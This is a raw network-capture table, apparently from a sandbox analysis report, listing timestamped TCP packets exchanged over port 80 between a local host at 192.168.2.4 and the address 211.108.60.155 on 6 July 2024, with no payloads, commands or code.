Jul 6, 2024 14:10:05.637401104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.637419939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.637429953 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.637597084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.637641907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.637686014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.637693882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.637702942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.637720108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.637727022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.637810946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.637852907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.637898922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.637912035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.637922049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.637933969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.637947083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.637959003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.638000011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.638031960 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.638093948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.638129950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.638132095 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.638154984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.638160944 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.638189077 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.638290882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.638331890 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.638345957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.638355017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.638364077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.638380051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.638390064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.638536930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.638581038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.638613939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.638622046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.638632059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.638642073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.638652086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.638670921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.639261007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.639298916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.639303923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.639308929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.639326096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.639333010 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.639401913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.639413118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.639422894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.639432907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.639441967 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.639470100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.639511108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.639522076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.639543056 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.639563084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.639568090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.639576912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.639601946 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.639760017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.639769077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.639777899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.639787912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.639807940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.639822960 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.639883041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.639915943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.639975071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.640012980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.829281092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.829313040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.829323053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.829348087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.829364061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.829369068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.829399109 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.829566956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.829597950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.829607010 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.829607964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.829626083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.829638958 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.829792023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.829809904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.829821110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.829832077 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.829854012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.830038071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.830080986 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.830173969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.830189943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.830214024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.830225945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.830295086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.830306053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.830328941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.830343008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.830343962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.830377102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.830526114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.830565929 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.830642939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.830652952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.830686092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.830704927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.830738068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.830857038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.830883980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.830894947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.830899954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.830924988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.830950975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.830960989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.830987930 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.832129955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.832140923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.832150936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.832179070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.832204103 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.832344055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.832355022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.832365036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.832375050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.832387924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.832412004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.833724976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.833734989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.833744049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.833754063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.833764076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.833767891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.833774090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.833782911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.833791971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.833796024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.833801985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.833813906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.833826065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.833837032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.833838940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.833848953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.833859921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.833869934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.833872080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.833878994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.833888054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.833894014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.833899021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.833908081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.833914042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.833919048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.833923101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.833930016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.833940029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.833940983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.833955050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.833962917 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.833987951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.834022999 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.834033012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.834042072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.834057093 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.834068060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.834523916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.834568024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.834741116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.834759951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.834777117 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.834780931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.834789038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.834789991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.834800005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.834808111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.834810019 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.834817886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.834820032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.834826946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.834841967 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.834851980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.026034117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.026051044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.026063919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.026086092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.026098967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.026108027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.026113987 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.026115894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.026127100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.026135921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.026154995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.026177883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.026222944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.026232004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.026257992 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.026403904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.026412964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.026442051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.026468992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.026477098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.026506901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.026627064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.026635885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.026663065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.026701927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.026738882 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.026747942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.026776075 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.026813030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.026823997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.026851892 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.027014017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.027051926 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.027056932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.027065039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.027072906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.027084112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.027101994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.027112007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.027154922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.027163982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.027193069 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.027395964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.027440071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.027633905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.027642965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.027667046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.027668953 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.027676105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.027686119 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.027698040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.027740002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.027779102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.027822971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.027832985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.027842045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.027862072 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.027872086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.027961969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.028004885 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.028039932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.028048992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.028058052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.028074026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.028083086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.028203964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.028247118 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.028364897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.028378010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.028408051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.028409958 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.028436899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.028634071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.028657913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.028666973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.028675079 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.028688908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.028698921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.028707027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.028738022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.028889894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.028898954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.028908014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.028934002 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.028954983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.028961897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.028970003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.028987885 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.029000998 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.029113054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.029149055 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.029319048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.029361010 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.029422045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.029433012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.029454947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.029459000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.029467106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.029472113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.029494047 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.029587030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.029620886 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.029655933 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.029664993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.029691935 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.029748917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.029772043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.029788971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.029813051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.029846907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.029882908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.030054092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.030064106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.030078888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.030101061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.030108929 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.030121088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.030153990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.030188084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.030198097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.030206919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.030229092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.030241966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.030519962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.030564070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.030584097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.030600071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.030612946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.030621052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.030621052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.030631065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.030638933 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.030654907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.030683041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.030693054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.030716896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.030838013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.030848026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.030877113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.030996084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.031032085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.031064034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.031100988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.222228050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.222251892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.222266912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.222290993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.222301960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.222326994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:06.222342014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.222352028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.222362995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:06.222364902 CEST	49732	80	192.168.2.4	211.108.60.155
